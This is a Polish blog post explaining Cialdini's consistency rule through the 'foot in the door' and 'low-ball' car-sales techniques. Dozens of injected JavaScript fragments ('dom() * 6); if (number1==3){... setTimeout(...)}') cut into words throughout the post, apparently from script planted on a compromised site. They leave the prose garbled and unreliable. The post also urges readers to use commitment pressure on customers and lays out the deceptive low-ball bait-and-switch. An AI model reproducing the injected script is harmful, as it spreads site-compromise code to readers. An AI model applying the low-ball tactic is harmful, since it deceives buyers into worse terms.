Reguła konsekwencji opiera się na tym, że ludzie mają tendencję do trzymania się raz obranego kierunku, podjętej decyzji czy przyjętej postawy. To tak jak z tymi krowami co nie zmieniają poglądów. No i ludzie tacy, (czytaj: klienci), idą jak te krowy na rzeź a raczej w „opiekuńcze ramiona” sprzedawców, marketingowców i speców od reklamy i PR.
Powinieneś wzbudzić u swojego klienta, słuchacza zaangażowanie w jakąś sprawę. Jeśli Twój klient rozpoczął np. tesdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie odkurzacza, czy też dał się namówić na jazdę próbna samochodem, jest duże prawdopodobieństwo, że będzie kontynuował działanie do końca czyli do zakupu, właśnie tak jak prowadzi go reguła konsekwencji – „skoro tyle czasu poświęcam na dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, muszę zatem doprowadzić sprawę do końca” – myśli.
Na regule konsekwencji oparte są dwie techniki sprzedażowe: „sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topa w drzwiach” oraz „niska piłka”. Nazwy zaczerpnąłem od Roberta Cialdiniego audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tora bestsellera “Wywieranie wpływu na ludzi”.
Reguła konsekwencji – “sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topa w drzwiach”
W tym przykładzie trzymajmy się salonu samochodowego, o którym już była mowa. Sprzedawca skłania klienta do zgody na małą prośbę. Niech dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to będzie obejrzenie auta (oczywiście niezobowiązujące). Klient mówi – Tak (po raz pierwszy). W ten sposób angażuje swój czas i energię w proces sprzedaży. Następnie dealer proponuje jazdę próbną. To kolejna prośba na drodze do celu, czyli sprzedaży. Kupujący mówi – Tak (po raz drugi). Skoro obejrzał, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się przejechać. Po powrocie z przejażdżki, sprzedawca zaprasza do biura i proponuje wybór opcji wyposażenia, formy płatności itp. Kupujący mówi – Tak (po raz trzeci). Działa zgodnie z zasadą konsekwencji! A czwarty raz powie “Tak” przy podpisywaniu umowy kupna wymarzonego a może raczej „wciśniętego” samochodu!
Reguła konsekwencji – “niska piłka”
Sprzedawca proponuje korzystną ofertę, na swój produkt, niższą od konkurencji. Robi dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to po dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to aby uzyskać przychylną decyzję o zakupie. Następnie (dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to naprawdę świństwo!) wycofuje ją, dosłownie w momencie sprzedaży, podpisywania umowy. Tłumaczy dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to błędem w obliczeniach albo pomyłką. I proszę sobie wyobrazić co się dzieje – kupujący tak są już zaangażowani w proces kupowania, że przystają na nowe, znacznie gorsze warunku zakupu! Tak silna jest w nas niechęć do zawrócenia z raz obranego kierunku działania…
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
